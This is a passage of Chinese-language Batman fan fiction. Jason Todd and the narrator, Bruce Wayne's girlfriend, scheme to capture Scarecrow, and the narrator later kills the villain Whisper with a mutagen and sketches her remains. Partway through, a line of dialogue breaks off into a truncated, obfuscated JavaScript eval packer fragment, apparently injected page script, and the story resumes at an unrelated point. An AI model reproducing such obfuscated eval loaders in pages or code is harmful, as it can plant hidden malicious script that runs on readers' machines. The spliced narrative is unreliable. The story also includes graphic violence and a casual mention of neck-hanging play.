理论上她们也可以给大都会的守护神发去同行请求,但这颗星球上并非只有哥谭身陷囵囤,超人自上回来过后便孤身前往太空去处理一搜失事飞船的求救信号,他的儿子——超级小子之一正负责维护哥谭市民撤入大都会的基本秩序(主要还是不信任卢瑟真有那么好心),今晚还要继续安抚游行队伍,避免可能发生的冲突。另一位超级小子,也就是超人本人的克隆体则会在傍晚从地球另一端赶过来,协助军方抓捕疫区的变异动物。 也正是有了这两位的帮助,蝙蝠家的鸟儿们才能简单地喘口气,不至于连睡觉的时间都压缩到极致。 ——不过落在杰森眼里,他只会讥笑他们俩太不顶事,连睡觉都要睡四小时。 而后他就被老管家半推半就着送到了以前的房间里歇息,当然,他提前起了,努力撑着眼皮才打开房门,就撞上一张还算精神的华裔面庞。 鬼知道她是怎么说服义警让她直接跟着自己走的,总而言之,不用和那两只傻鸟打交道杰森乐意得很。 他和女人一起去厨房吃了点东西(虽然对方碗里的食物少得叫他牙疼),午餐还是阿福做的,他打了下手,又被老管家好一通叮嘱,主要是希望他能把女人全须全尾地带回来,而被担心的对象乖巧地在老人面前一通撒娇,才换来阿福无奈又妥协的笑容。杰森作为旁观者起了一身的鸡皮疙瘩,只觉得满大宅的人精神都不正常。 他绝对不会再被这女人柔弱的假面所欺骗。 这回出去没人再拦,两人风驰电掣来到疫区时已是下午,杰森给曾经的“盟友们”发去讯息,随后便带她找到了坦克的存放点。 对方之所以单手不便也是自己造成的,他对这点没资格抵赖,于是在女人试图独臂绑紧那一头长发时,才开口接过了梳子。 “提前说好,即使有饵,稻草头也不一定会直接现身。” 车厢里始终飘着股若有似无的香味,青年略感憋闷,仿佛还能感受到左半边脸上残留的痛。 他身侧的女人打了个哈欠,手指在通讯器键盘上按得飞快: “……你在早上就强调过了,稻草人对于恐惧异常痴迷,哥谭如今的混乱是他喜闻乐见的,掌握所谓的‘动物控制法’只是锦上添花,”她回复完红鸟头像的简讯,扭头专注于和他的对话,“但对于黑面具等人却不是这样,街上都是动物他们就没法做生意,得知你手里有我,大概率还是会上钩的。” 灯光昏暗,女人的双眼微微眯起,像两弯黑洞似的月亮,“我想你大概会联系他们,用我当条件说服他们放弃给稻草人提供庇护,把人逼出来。” 杰森并不意外被她猜到自己的打算,却仍轻嗤道:“骷髅脸和肥鸟远比你想得更贪婪,此刻估计正和稻草头求证你的真伪呢,一旦得到肯定,他们的手下就能确保他只能往疫区里面逃。” “你早上喊夜翼他们多注意点隔离带,原来是这个意思呀。”她点点头。 纵使他并不向义警坦白自己会怎么做,还令她身后又多了两匹垂涎欲滴的豺狼,女人的神色亦无变化,青年微微咬紧牙根,分不清是对方足够信任自己能保护好她,或者她压根就不在意自己的命。 从早上那次电击来看,他趋向后者。 “但我还是不明白,”略作沉吟,她摸出一根能量棒小口咀嚼,一边竖起手指虚掩住唇,“稻草人为什么不尝试出城?即使哥谭现在执行着严苛的禁出令,但车站人流量最高,混在撤离大巴里去往大都会才是上乘之选。” 女人纯粹而疑惑的语气令杰森挑起眉毛。 他并未即刻作答,这点沉默引得她歪了歪脑袋,随后像是明白什么,又从腰带里掏出五根能量棒,摊到他眼下以供挑选。 仿佛是在缴纳学费。 莫名其妙的笑意险些就要漫上青年的嘴角,他不得不挪开视线,随便抓了其中一根:“……氪星的小混血儿不是好糊弄的,稻草头即使给自己弄个铅箱藏着也能被揪出来。” “嗯……听起来你对超级男孩的能力很是信任,所以他真的是外星人的孩子?也真的会飞?不是踩着什么隐形飞行器?” 这些问题的答案可以说是人尽皆知,然而提问者面带好奇和困惑——杰森很确定那不是装的。 “超人的新闻十几年前就漫天飞,你是从哪个山洞里出来的原始人吗?” 她几乎不会因为他的带刺言论生气,眨了眨眼:“我一直以为这算是你们政府制造出来的英雄主义噱头,有这样一个形象可以为你们创造不少好处……” 说到最后,对方一副“原来真的有超能外星人”的白痴表情。 没想过身旁人会缺乏这种基础常识,青年一时心情复杂,原本还算端正的坐姿随着他翘起两条腿而显得更加放松。 “老头子是不是没告诉过你他和超人可是最好的朋友,”挑拨离间的话他说起来格外顺口,“他这么瞒着你,你倒是不遗余力,为了帮他恢复原样还要和我这种罪孽深重的人合作。” 可真正对上那双因惊讶而微微睁大的黑眼睛,杰森并没感觉到丝毫愉悦。女人很快皱起了眉,他以为对方还会像早上那样给自己一巴掌——她的手都抬起来了,但从那张唇瓣里吐出的却是还算平静的疑问句: “陶德,你单纯是因为我作为布鲁斯的女友而恨屋及乌,还是不想给任何人接近你的机会……所以要想方设法把自己变成讨嫌鬼?” 躯壳被她的尾音定在原地,他感觉自己是对方瞳孔的猎物,被框在她的视野里无法动弹。 “那你呢,”半晌,青年才找回自己的喉舌,“真不怕我再推你进火坑?企鹅和黑面具没一个会怜惜到手的货物。” “即使你不说,也不能保证稻草头不会告诉他们。” 她学着他的叫法,举起的手指原来是要把几缕碎发勾到耳后,那张瓷白的面孔在笑意浅淡时一如橱窗里的东洋人偶,“而且,我不觉得你会这么做。” 凭什么她能在几次三番被他伤害后说出这种话? 杰森犹在挣扎,面上肌肉抽动两下,组成了类似讥笑的神情:“……你不会真的移情别恋了吧?” 这种自恋狂发言通常都不会讨女生喜欢——他过不上普通同龄人会有的生活,实际上的亲密关系更是少得可怜,只对如何放置异性的示好有所涉猎。 但显然,能和蝙蝠侠看对眼的女人向来不会跟着他的步调走。 “随你怎么想,陶德,我原以为你的确是个杀人不眨眼的魔头,为了自己的目的能不择手段伤害他人,但你不是,”她甚至不再看他,转而查看起手中的通讯器,“一般的连环杀人犯会失去对生命的敬畏,但我从你身上看见了自我厌恶。” “我杀的人罪有应得,我有什么需要感到抱歉的?” 他猛然攥紧手里的能量棒,把架起的腿收回地上,“你明白什么,我已经被那个道貌岸然的伪君子和他最喜欢的反派玩具摧毁过一遍,我绝对不会再按照他制定的可笑规则行事!” 逐渐提高的音量把女人的注意力重新扯了回来。 她的凝视把他变成需要大人关爱的孩子,杰森不由更加怒火中烧。 可对方只是翻了个白眼。 “你什么时候才能意识到布鲁斯是布鲁斯,我是我?”他觉得她的语气有些耳熟,就像她在对格雷森或是阿福撒娇时一样,“你能不能只看着我?” 在某些词句上,非母语者在表达时往往会更加直白,青年猝不及防被打乱呼吸,心中的愤怒跟着卡了壳。 而对方还一无所觉:“我能单独和你坐在这,难道还不足以证明我的想法和我男朋友大相径庭?之前有德雷克他们看着我没法直说,但只要确定你不会杀了我,我不在乎你放火烧死了几个男巫。” 她说得认真,眼神诚恳,搭配在一起衬出股微妙的漠然感,化作盆冰水泼到他发热的头脑上。杰森感觉手中触感发软,才发现自己把巧克力能量棒捏化了,见状,女人叹着气,又给他塞了一根。 “浪费食物,”她这时候才有点不高兴,“亏我把最喜欢的口味给了你。” 一时间,他都不知道自己是该说她别把自己形容成狂信徒,还是吐槽她重点又错了。 纠结两秒,青年撕开包装,把那根面目全非的食物挤进嘴里,她的脸色肉眼可见地开始好转。 “抱歉。” 含糊的道歉被接受了,她又笑起来:“从你嘴里听见这句话真不容易。” 车厢里因他人入侵而增添的香味不再骚扰杰森的鼻子,他沉默地嚼完能量棒,再开口时意外得心平气和:“如果不是在稻草人那暴露了你的存在,这事只要揽到我身上一样有可行性……我没打算让他们直接见你。” “毕竟你是最早声称自己找到诱变病毒根源的那一个,短时间内忽悠他们应该行,但真正被怀疑了还是得拖我上场,”她曲起腿,紧身裤在挤压下鼓起圆润的线条,弧度颇具肉感,“这事说到底也是你的错,星辰实验室的研究和你没有冲突,你不把德雷克打成那样我也不用去拆稻草头放的炸弹。” “你还会拆弹?”青年的目光蓦地移到她脸上。 对方没好气地再翻白眼:“怎么可能——别转移话题!你早上还没说你到底为什么帮光头把零号病人偷走,总不能单纯地就是看德雷克不爽吧?” “我揍他还要挑日子吗?老蝙蝠养了鸟不就是替他当靶子。”杰森其实有点想知道她后来是怎么从克莱恩那带着个拖油瓶全身而退的,但被女人斜眼一睨,不由磨了磨虎牙。 他自然不会把自己的打算和盘托出,“……啧,当时嘘声找到我打算入侵实验室,我想知道她和卢瑟到底在密谋什么,于是帮了她一把,顺手往那头熊(病人)皮下钉了追踪器——没有芭芭拉我也能知道他们的目的地在哪。” “德雷克还是白挨了揍。” “你是要代替那个迪克(混蛋)当鸟妈妈了?” 女人意外地有些词穷,她狠狠一哆嗦,仿佛是为这个可能性感到惊恐:“我这辈子都不会当谁的妈。” 许是对方的语气太果断,杰森难得不再乘胜追击。老头子知道她这么想吗?这是不是意味着对方并不打算和他一直在一起? 青年的心情因此多出两分雀跃,他把这归功于能看仇人吃瘪。 情绪上感到放松,他便不介意女人再次提出的问题:“你问嘘声?她很神秘,哥谭从前没有这号人。我只能看出她受训于刺客联盟,而且自从稻草人投毒后我再也没见过她,”稍有迟疑,不过杰森还是继续道,“你还记得那天晚上和两个绑架犯合作的那个女人吧?” 她恍然大悟:“难怪后来没她的消息,这么会藏。” “你的编辑本来也是她的目标……”此话刚脱口而出,青年立刻感到了点后悔,身旁人即刻从这半句话反应过来,看过来的眼神仿佛又发现新大陆。 “你把她的活儿接了过来,是不想编辑的女儿被丢进孤儿院。” 虽然说得委婉,她用的却是陈述句。 再去否定已经来不及,杰森打定主意,若是从她脸上读出任何调侃的神色,接下来就把对方当成透明人:“要不然呢?那个女人撞见嘘声在打私人通话,若是真把这消息透露给警方,她的脑袋当天就能挂在房梁上。” 然而身旁人仿佛料到他内心所想,她双眼上移,一副在回忆什么的模样,而后点点头:“原来如此。” 他像是蓄势待发后一头栽进棉花里。 “你原本给我的编辑准备了什么后路?让她带着女儿换个地方躲起来吗?” “……”青年努力从棉花堆里重新振作起来,“对,反正弄明白嘘声和卢瑟的交易后我就会杀了她。” “毁尸灭迹这招真方便。” 女人感慨似地对他的杀人宣言发表评价,“你说,稻草人如果逃跑顺利的话会不会去找她?通过光头的渠道也可以把他弄出城。” 一如她之前所言,她的确不在乎阿卡姆骑士还会造的杀孽。 这很奇怪,数小时前她还骂他罪孽深重——就算她确实一直抓着他的手,努力维护他——但谁知道她内心怎么想?杰森多少看穿了对方是个再现实不过的实用主义者,擅长用言语勾动他人为她所用,他再不会轻易踏进这人的陷阱里去。 他们现在能共处一室,纯粹是对彼此有利可图。 “你反应倒是挺快,布莱恩能把恐惧毒气与诱变病毒混合,嘘声和卢瑟既然要了病人,也必定会对他感兴趣。”青年闭了闭眼,将内心所想用沙土掩埋。他拿出自己的通讯器瞟了下时间,估计企鹅人或是黑面具之一很快会给他回电话,“但前有义警,后有追兵,他短时间内不可能再制造出大量毒气,只会被堵死在半路。” “那就人为给他开条路出来。” 对方的回答不假思索,她即刻就要联系那两只鸟,抬起的手腕却被青年伸手按住。 “我们的交易只包括把稻草头交给义警。” 所以嘘声的情报他一点没说,这事儿如果有任何一个义警掺和进来,她最多只会被送进监狱。 而杰森索要的是她的死亡,唯有身躯腐烂在泥土里,编辑和她的女儿才不会在某一天迎来杀身之祸。 女人漆黑的虹膜印出他的倒影,她似是评估,又像衡量,空白的面孔在片刻后忽地笑起来,那是个很容易让人放下戒备的无害笑靥,杰森却恍然间看见一条毒蛇悠悠吐信。 “不,我们的交易应该是要彻底结束这场动物狂欢节,这样你才能继续和蝙蝠侠玩‘谁是哥谭老大’的游戏。” 她不再曲着腿,而是欺身而上。青年本能想伸手撑出一段距离,掌心却被她捏住,而后拉到小腹附近,同夹板里的那只左手一同握着。 “我知道,你可能觉得我是夜翼他们放在你这的监视器,光是确认你不会伤害我还不够,他们不希望你再杀了别人,”女人的手心温热,指尖却冰凉,“但这事可以打个商量,我也不希望我的编辑再被谁盯上了,她好不容易才从医院的骚乱里活下来,她的小女儿也值得一个拥有母亲的童年。” 是的,在这点上他们两个才是目的一致的。 这个认知反而令他内心深处的思虑再度浮了上来,杰森·陶德被眼前人的花言巧语动摇过太多次,终于生出些许防护机制。 “你知道布鲁斯不会允许这种事发生吧。” 于是他搬出了自己所捕捉到的对方的唯一弱点。 她果然神色僵硬,不自觉流露出几丝忧虑——杰森冷笑出声,他正想将自己的手从她那抽回来,女人却用一种更坚定的方式将其牢牢攥住。 她的手指有些发颤,无意识地捏着他的皮肉。青年反而不急着挣脱了,起码对方这副困扰的模样因他而起。 经过冗长的缄默,女人望向他的眼睛,开口时真诚而郑重: “那么我请求你为我保守这个秘密,让我成为你的共犯。” 他的心跳在话音渐落时开始加快,一份突如其来的既视感拉着杰森回到自己开枪击中她的那天晚上,他发现女人在救人时的笑容与她决心杀人时相差无几。 “这样可以吗,杰森?” . 说是说要当诱饵,但从目前的情况来看,需要我出场的地方等于没有,坐在这就像永远上不了场的替补演员。 我深刻怀疑格雷森是知道这点才终于肯放我出门的。 这也没办法,谁叫本人手不能提,肩不能抗,哪怕是潜伏任务也得担心躲的地方灰尘太多呛得人咳嗽不停结果大失败——唯一还算能派的上用场的只剩个脑子,但鉴于我周围这群人智商都很高,我这点小聪明有和没有相差不大。 骑士在离开前把坦克停在了罗宾逊学院附近,此处已在疫区范围之内,只不过之前为了救援住校学生周边一片都经过清理,潜藏的变异动物很少。 这或许也是嘘声选择在这藏身的原因。 我缩在驾驶位上,双手托腮听着耳机两边不同程度的热闹:左耳里夜翼正调侃着楼下龟缩着给嘘声打电话的稻草人,红罗宾动手入侵他们的无线电频道,把两人的对话切了进来。 恐惧专家这一路可真是被吓够呛,无人机发现他从运河边上岸进入疫区,屁股后面跟着黑面具的快艇。这些打手一见隔离线果然不敢再追,义警们便用了些驱兽粉把变异动物赶至附近,尾随着稻草人磕磕绊绊往坐落东面的学院方向走。 右耳里骑士则已经潜入到了校园内,既然正主不在老巢,他自然要提前一探究竟。建筑内空无一人,青年比对着之前学院翻新时的工程图,目前正在校长办公室寻找着可以瞒过透射视线的密室。 “当初提交翻新方案的是罗宾逊的校长,现在看来她引入私人承包商并不只是为了吃回扣……”红罗宾抽空把资料调给我,我总结给另一边的骑士听,“韦恩的人只例行检查了对方的工程质量和业内风评,随后便拨了款,等于是让光头用韦恩的钱在哥谭建了个人基地。” “哼,要怪就怪新总裁是个近视眼,”青年仗着频道不互通,张口就是嘲讽,“基本已经可以确认嘘声就是斯通校长了,暗格里有刺客联盟的标志——小鬼不是也在这个学校,他难道认不出自己的校长是曾经的下属?” 我把骑士拍下的照片传给红罗宾,回想着自己短暂的学校半日游,除却校长本人对达米安抱着很高的期望,其他还真看不出他们有什么联系。 “不知道,你找到密室了吗?” 比他的回答更先响起的是左边耳机里德雷克的声音:“嘘声当前的位置距离学院只有三点五公里,骑士最多还有八分钟不到的时间。” 慢半拍地,陶德在右耳哼笑一声:“校长室里的只是她的个人武器库,大的在礼堂地下,我从监控里看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其次就是,我压根不会开这辆玩意儿。 这也没办法,国内学自动挡的时候又不教人坦克怎么开。 小点的黑猫很快窜了过来,两爪一伸就站起来闻我的脖颈,我抱住他拍了拍后背,同样也没闻到什么令人担心的血腥味。 “好小咪,”看在这小子现在是猫的份上,我基本不会计较他把爪子搭在我胸口的举动,专注看向他身后原地不动的大只佬,“谢谢你说服你爸过来。” 罗宾猫又拿眉头蹭了蹭我,这才坐下来“喵”两声。我不愿浪费时间,对着左耳机里说了句“载具已到”,而后从背包里拿出猫鞍朝自家猫男友走去。 两只鸟现在都有事在忙,一时没有回我,我把耳机的接收器调整成手动开启的模式,把工具按在蝙蝠猫背上。他仍是没用正眼瞧我,低垂的尾巴显示着猫糟糕的心情。 是的,直到下午从韦恩庄园离开,我也没能把布鲁斯哄好。 此猫对养子的爱恨交加我非常理解,只不过人类的计划繁多又复杂,我总不能带着他在疫区里招摇过市,结果这猫在儿子们开着蝙蝠车出门时趴在车顶一起跟了去——老子一走小子紧随其后,我听见夜翼抱怨时都快被这俩活宝逗笑了。 不过既然都出来了,那就得物尽其用。 有一个问题是早上“讨论”时的重中之重,我们已知满大街的动物对企鹅人等黑吃黑的商人没有任何好处,那么他为什么要在旧赌场给稻草人提供实验场地?只可能是被许了更大的好处。 利益必须足够辉煌,才能维系恶人松散的联盟。骑士承认了他是靠许诺给几人哥谭的控制权才把他们拉入伙的(他说这话时格雷森几次攥紧了拳头),但他看似是领头羊,亦可能被当做最耀眼的靶子。他对毒/枭的残忍处置最容易激怒黑面具他们,我相信这几个恶棍一定想要把他踢出局,最容易的办法就是放任他和义警互相攀咬。 事实也正如他们的希望发展了。 问题也紧接着出现,代替骑士许下的美好愿景,他们能从这事里获得什么? 无论是我还是其他人都一致认为那个光头商人兼政客在其中出力最大。所谓的零号病人是个瘾君子,档案里的他曾自持身体素质过人,以试药谋生过一段时间,也是因此导致药物成瘾,最终堕落到抢劫便利店被抓。戈登追踪溯源,这才决定去坐落在大都会的几家公司探查一番——再结合期间的星辰实验室袭击案,义警们不难发现嘘声劫持病人时动作狠厉,压根不像对待珍贵的研究资源,于是一个新的猜想由此诞生。 他们袭击实验室是为了回收病原体。 莱克斯·卢瑟是个相当精明狡猾的政客,一直以来都在找机会把他的手伸向大都会之外,哥谭作为比邻的城市,近年来的大街上频繁能见他的各类海报。失去总统的位置并不会遏制他的野心,只要掌握了诱变病毒的起源和治疗方法,他完全可以靠自导自演将哥谭软化成他的温床。 从这个猜想继续延伸,黑面具和企鹅人的配合便成了理所当然的事,而光头为哥谭人的撤离提供的帮助太及时和恰到好处,这几天也不见他作妖,更是进一步的佐证。 我有预感,罗宾逊学院的地下绝对不是单纯用来逃过义警耳目的地方,指不定就会发现里面藏着刺客联盟最爱的人蝠,夜翼他们和我想得差不多,所以两人一起,没有分散太远。 只是这么做,就有一处防守漏了怯。 断断续续的思忖中,猫载着我逐渐往喧嚣的街道靠近。四周的窸窣响动迫使我完全集中注意力,布鲁斯走的房顶,头顶依稀可见几只盘旋的大型候鸟,这回我们三个的装束都一片黑,躲在水箱底下并不起眼,想来也不会像上次那样被鸟啄了头巾。 望远镜里很快出现了军用车辆的影子,这一小支队伍正有条不紊地抓捕着地上昏迷的动物,其中一人分外显眼,这么多人里只有他穿着件短袖T恤,胸口的“S”鲜红刺眼。 不知是不是错觉,对方仿佛隔着望远镜与我对视了一眼。 我也不觉得心虚,红罗宾和他是队友,肯定把我们的顾虑告诉过他——嘘声早些时候去哪干了什么,极可能是给今晚的例行收容活动添堵,超级小子的存在极快加速了秩序的恢复,这对卢瑟可不是好消息。 而我和德雷克一致认为,看上去最坚不可摧的防守亦会在崩塌的瞬间造成最大的伤害,因此在我知道猫跟来了后,就和他打字说要去军方小队的收容路线上看看。 从他纠结片刻就同意的速度来看,红罗宾应该是相当信任他的队友。 我和他不一样,超人类于我而言更像触摸不到的云端,一小块绿石头就能把他们放倒。加之蝙蝠洞里存着一堆绿油油的氪石,我对此事的被害妄想症可谓拉满。 只要有人想办法软化他们的皮肤,再叫动物轻轻一咬,哥谭岌岌可危的平衡就会被彻底打破。 “记住这两样的味道了?好咪咪,去底下找找,克隆外星人就要来了。” 把小块氪石和配套铅盒从蝙蝠猫鼻下收回腰带,布鲁斯在我面前打了个喷嚏,尾巴重重一拍,看起来依旧不太情愿。 “喵。” 小只的那个凑上来,仿佛是在说这事交给他也行。 “小咪要负责保护我吧,上次就做得很好,所以这次也要拜托你。”说着,我脱掉手套,从腰带里掏出新研究的肉松鱼贝撕给他一块,明显能感觉到旁边大猫随之移动的视线,又把剩下的一分为二。 获得投喂的猫男友终于顺着天台楼梯下去了。 我能做的也不多,想来最容易引得超人类中招的还是在动物熙攘的狭窄地界。两只猫接种过最新的恐惧毒素血清,氪石对他们也无影响,若是能帮忙排除一下危险,超级小子被感染的概率能降低不少。 最后一小块鱼贝进了自己肚子里,我拍掉手上的碎屑,戴好手套。罗宾猫在身侧舔着嘴,有些意犹未尽,不过爱工作的动物就是不一样,只消几秒,他又竖起耳朵,机警地当起了保镖。 大只佬脖颈上的项圈依旧忠实地记录着他的所见所闻,一直从六楼下到一楼,他并没刨出什么绿光莹莹的东西,所过之处只留下一具具被他拍昏的变异动物。我还看见了草食动物的尸体,布鲁斯在它身旁驻足,想来这辈子它都没办法变回人类,就保持着断角雄鹿的模样死去。 生命是种脆弱的东西。 眼见蝙蝠猫接着往隔壁跑去,我拍拍身旁动物的后背,示意小猫转换阵地。连着检查了收容路线上包括的两栋楼,布鲁斯都没能翻出什么可疑物品,多少令我开始怀疑自己的决定是否有哪里出了纰漏。 根据最早锁定的嘘声的定位,其周围与路线重合的部分应该就是附近才对。 军方小队距此还有一段路程,我试图转换思路,思考着其他可能性,耳机却突兀地传来了红罗宾的通讯请求。 “两个坏消息。” “先听最坏的。”我右手勾在罗宾猫的项圈上,没有唤布鲁斯回来。 “我们的设想没有错,但嘘声的布置针对的不是康艾尔,”德雷克的语速非常快,我反应了一下才知道他在说什么,“游行队伍里混入了刺客,他们激化矛盾并袭击了乔。” “得手了?可夜翼提前给他打过血清……”反而是今晚刚忙完少正事务的克隆人还来不及进行注射。 我的心跟着往下沉。 红罗宾长叹一口气:“是,我怀疑嘘声和卢瑟还针对超级小子做了PLAN B,我这边已经抓到了稻草人,会立刻往北边的隔离线赶;夜翼他们的信号被隔绝了,消息递不进去,只能拜托蝙蝠女侠在截停嘘声后一起过来。” 心有所感,我拿出望远镜又看了一眼,果然队伍里已经没了那件黑底红“S”的T恤:“太多平民和军人不适合让猫露面,我就不去了,直接回学院那接应……他表哥应该赶得过去,事态会得到控制的。” 虽然仍没有记住人名,但我还是知道原本在这边的超级小子更年长些。 通讯彼端传来呼啸的风声,红罗宾的焦急不是说两句话就能安慰的,我便不再多说,干脆切断了通话。方才已经接到项圈振动提示的蝙蝠猫却没有很快翻上天台,我看了眼监控,发现他目之所及全是黏腻纠缠的蛛网,顿时打了个寒噤。 “去帮帮你爸,快!” 对于节肢动物的本能恐惧令我下了个相当冲动的指令,小猫在这种时候更是乖巧,一个箭步就冲了出去。好在先前盘旋的候鸟此刻已距离藏身处有段距离,我勉强挨过头皮发麻带来的阵阵凉意,仿佛能同时感觉到蛛网黏在肌肤上时的轻柔和瘙痒。 从画面上的蛛丝粗细来判断,这栋民居里恐怕住着一只足有男性成人大小的巨蛛,我甚至隐约看见了暗处会动的反光。 但为什么是线形的? 判断出那是背后有东西映在屏幕上的倒影,我立刻拔腿就想跑,不曾想这一动作却正中来人下怀,脖颈瞬时传来一股剧痛。 似曾相识的声音与颈间长鞭一同绞紧。 “要等你落单还真难。” 23.23 窒息感拉提琴似地,在喉口慢慢地磨。 通讯器在挣扎间脱手而出,“啪嗒”一下摔在天台边缘,和它的主人一样被危险裹挟,摇摇欲坠。 袭击者的身材很好,我的后背被迫挺直,距离休克便也越近。视野一阵阵地发黑,我只能看见几缕碎发连着额头在顶上飘,右手下意识抓住对方持鞭的那支手腕,意料之中的无法撼动。 “嘘。”她开口时依旧傲慢得让人讨厌,“老板还用的上你,只要你听话些,我会让你少吃点苦头。” 女人的声音和在校长室时别无二致,一回想起她那副做派,我鼓鼓跳动的太阳穴更是暴起青筋。她似乎意识到自己下手时没有给我留出说话的余地,这才微微松了松长鞭。 “嗬…嗬……——” 声带已然受损,乍然涌入的新鲜空气让我不住地大口呼吸,终于在仰头时看清了校长——现在该称呼她为嘘声女士——戴着面罩的脸。 趁着她还想张口说些什么的空档,我毫不犹豫手腕轻抬,掌心的压力感应器带动袖口处藏着的针头霎时钻出,轻微的刺痛感令对方手臂一抖,意识到什么的嘘声恼怒横生,几乎是下一刻长鞭再度收紧,我仿佛听见了颈椎的骨头咔咔作响。 她气急败坏地单手持鞭,捏住我的尾指便向下一折:“你给我注射了什么?!” 十指连心的剧痛在脑子里猛然炸开,我被折磨得答不上话,仅凭最后一点希冀苦苦支撑着。那东西起效极快,与我而言却像度秒如年,等肺部重新灌入哥谭的夜风,我才发现自己紧紧黏在地上,余光里的女人发出了惊惧至极的尖叫。 白痴……吼这么大声只会引来捕食者。 她身边不宜久留,我哆嗦着手按动腰带上的某个按钮,顿时有冰凉的药剂为躯壳重新带来活力,再给自己几秒稍作适应,我一边咳嗽,一边连滚带爬地挪到消防通道边,把身体藏进楼梯之间的阴影里。 天台很快回荡起振翅声。 消防通道说白了就是从民居延伸出来的金属栏杆,我紧紧贴着外墙,不敢制造出一点动静。最初充血的耳鸣开始消退,我听见了更多的声响,属于嘘声的那一部分已经彻底消失,但飞下来的鸟类高兴得显而易见。 它们逗留了很久,我心中隐约对情形有了猜测——不像肉食动物,鸟一般来说是吃谷物昆虫的。 红罗宾很配合我,给我的右手腕加上麻醉剂的弹射装置,只是我这人比较阴险,还往里添加了猎手豹的唾液和血。 也就是说,被针尖刺中的人类会立刻感到头晕、盗汗,难以控制四肢,随后眼睁睁看着自己肢体变形或是长出皮毛,疼痛与睡意交替叠加,最后成为一只任人宰割的变异动物。 我蜷起身子,一秒秒数着时间,直至耳边余下的唯有自己加速泵动的心跳声。 应该……能探个头看看吧? 实在惦记着自己的通讯器,我捂着好似火烧的脖子,艰难地支起另一只胳膊肘,好像碰瓷的八十岁老太太那样爬了起来。视线露出墙檐,楼顶黯淡的墨蓝色之上有鲜艳的色块铺陈开来,我无意识地屏住呼吸,在眨眼间把这幅恶心又美丽的构图定格在脑海。 非常凑巧,嘘声变成的动物是只螳螂。 事后每每回想此事,我都会大骂自己当时的愚蠢,居然就那样不管不顾地爬上去,挑选最合适的角度埋头画起速写,但眼下的我连小指的疼痛都暂时抛诸脑后,咬着手电,在速写本上飞快勾画着那只四分五裂的螳螂。 昆虫没有表情,圆润的双眼犹如两颗失去光泽的翠玉,浸润在无色的血泊中,细密的气泡充盈着她被鸟喙撕裂的下半张脸,像是蔓延的珍珠色怨气;食客的粗鲁开餐令她躯体的其他部分散在各处,和衣服混在一起,我注视着炭笔的痕迹,忽然想好了给漫画里的第二场凶杀案增添什么瑰景。 给凶手一个和主角在星象馆见面的机会吧,这样就能按照星座的排布去处理受害者的遗体。 一如面前的她。 蓬勃的灵感令人心跳加速,我分不清自己糟糕的体感是因由伤痛还是兴奋,又或者两者已然融为一体。直至楼下传来一阵巨大的闷响,危机感才拽着注意力的领子把我拉回现实。 ……猫、猫!我的猫呢?! 没能从眼球后鼓胀的眩晕里缓过劲来,我匆忙收起东西,扑到原本藏身的地方去拿通讯器。监控画面里一片狼藉,视线猝不及防和节肢动物狰狞的面孔对上,我用尽全力才没有惨叫出声。 但惊吓好歹冷却了我烧成浆糊的脑袋。 大口呼吸的每一下都像有人在凌迟脖颈里的肉,右手尾指更是痛得厉害,大抵是先前太过投入,此时才更加难熬。 我很确定注入的药剂里包含镇痛成分,虽然不明白为什么效果不好,却也没时间在楼顶逗留。确认两个项圈传来的体征都在健康的范围之内,我勉强咽了口唾沫,一刻不停地往楼梯跑。 才下转角,两对颜色各异的眼睛灯泡便出现在眼前——我分辨了好一会儿才确定自己没看错,一大一小两只猫还顶着满头的蜘蛛丝,猫爸爸正给儿子舔着毛,这会儿见有人下来,他龇牙咧嘴地连舌头都没收回去。 “……” 原本还在恐慌中煎熬的心慢慢落回实处。 见楼梯下方也没什么动静,我相信了蝙蝠猫的对敌能力,腿一软坐在阶梯上。动物们好像不明白我这一惊一乍是为了什么,但他们嗅到了不对劲,快速凑过来,在沾了螳螂血的靴子边多闻了两下。 室内几乎没有光照,我三根手指攥着小手电,在两猫水盈盈的眼睛里扯出点笑,最终也没能说出个一星半句。 喉咙那块儿肯定肿的厉害,吞咽都困难,更别提说话。 我尽量只用鼻子换气,调整坐姿,着重检查了一下猫咪们有没有被蜘蛛咬伤或是蛰伤。事实证明以前是当义警的猫的确要比普通巨蜘蛛能打,除了几处擦伤和勒痕外,他们身上最多也就是蛛网,我把小指用医用胶带和无名指固定到一起,从腰带里摸出个折叠刷子清理掉那些黏糊糊的蛋白质,再给伤口做了清创。 动物们在我忙活的时候几次把脑袋凑近,好像是发现了藏在高领下的淤伤,等我手上动作一停,便轻声叫唤起来。 止痛药似乎是延迟起效,我没有在天台时那么疼了,抬手示意猫父子稍等,给自己的伤做了冷敷处理。 多亏以前总爱跟家里的房梁玩挂根绳子然后用脖子荡秋千的游戏,我虽对其他打击都不怎么耐受,但可太熟悉窒息的滋味了,颈椎也因此比较抗造。 大致确认过脖子还能正常转动后,我终于能靠在大猫身上松口气。 这个状态再想给谁帮忙都容易搞砸。 最好是能避开军方小队的收容路线,找个角落休息片刻,但我现在依旧腿软,只能掏出通讯器,首先就是询问蝙蝠女侠那边的情况如何。 万幸现在开不了口,给不熟的人打电话我容易紧张。 下一秒,来自她的通讯请求就在耳畔响了起来。 我一边接通,一边继续打字说明自己的情况。女侠的嗓音比女猎手更低沉些,她在略微的停顿后告诉了我嘘声用遥控驾驶和全息投影骗过所有监视者,自己在半路溜走的事。此人的难缠可见一斑。 若是嘘声在对付我时选择了远程攻击(不过这点不太可能,毕竟当时猫的视野很开阔,而我选了个很好的掩体),那她也不会搭上自己的性命。这个女人看不起普通人,即使是只和她见过两次的我也能看出来,她会用窒息折磨我,可能也是为了报复我之前在校长室给她难堪。 这样正好,我开始喜欢嘘声的傲慢了,更喜欢她用短短两句话证明了她不能立刻下死手,给了我反攻的机会。 而且,她在注射后的反应也给了我新的线索。 作为和光头合作的一员,嘘声却并没有得到诱变病毒的疫苗,是老板不肯给,还是他们也没有研发出来?听德雷克说星辰实验室那边也只差最后一步了,疫苗中的成分始终容易发生裂变,研究人员正想办法寻找稳定剂。 只可惜计划赶不上变化,成为鸟食的嘘声再开不了口,我也没那个本事在那种情况下拽上她逃跑。 “真的不用我去接你?” [超级小子那边更紧急,我有猫车。] 谢绝了蝙蝠女侠的好意,我切断通讯,显示屏下一秒覆上一只毛爪子,小猫好不容易等我抽出空,立即站起身子发出大叫。 像是在附和儿子,大只佬也顶了一下我的肩膀,我扶着他慢慢站起来,意识到两猫大概是要带我去什么地方。 